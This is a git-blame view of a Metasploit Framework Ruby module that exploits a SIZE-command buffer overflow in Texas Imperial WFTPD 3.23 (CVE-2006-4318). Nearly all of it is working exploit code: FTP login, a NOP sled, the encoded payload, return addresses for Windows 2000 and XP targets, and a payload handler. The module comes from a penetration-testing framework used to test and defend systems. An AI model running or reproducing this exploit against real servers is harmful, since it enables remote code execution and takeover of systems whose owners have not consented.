2007-03-26 21:18:44 +00:00
|
|
|
##
|
2007-05-07 04:48:45 +00:00
|
|
|
# $Id$
|
2007-03-26 21:18:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-03-26 21:18:44 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-03-26 21:18:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-03-26 21:18:44 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2007-03-26 21:18:44 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-03-26 21:18:44 +00:00
|
|
|
'Name' => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in the SIZE verb in
|
2007-03-26 21:18:44 +00:00
|
|
|
Texas Imperial's Software WFTPD 3.23.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
2007-05-07 04:48:45 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-03-26 21:18:44 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2006-4318' ],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '28134' ],
|
|
|
|
[ 'BID', '19617' ],
|
2007-03-26 21:18:44 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
2010-04-30 08:40:19 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2007-03-26 21:18:44 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-03-26 21:18:44 +00:00
|
|
|
[
|
|
|
|
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2d3028 } ],
|
|
|
|
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dd1595 } ],
|
|
|
|
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77d498ec } ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 23 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_login
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = "/" + make_nops(525 - payload.encoded.length)
|
|
|
|
sploit << payload.encoded + [target.ret].pack('V')
|
2007-03-26 21:18:44 +00:00
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
send_cmd(['SIZE', sploit], false)
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,2)
|
2007-03-26 21:18:44 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|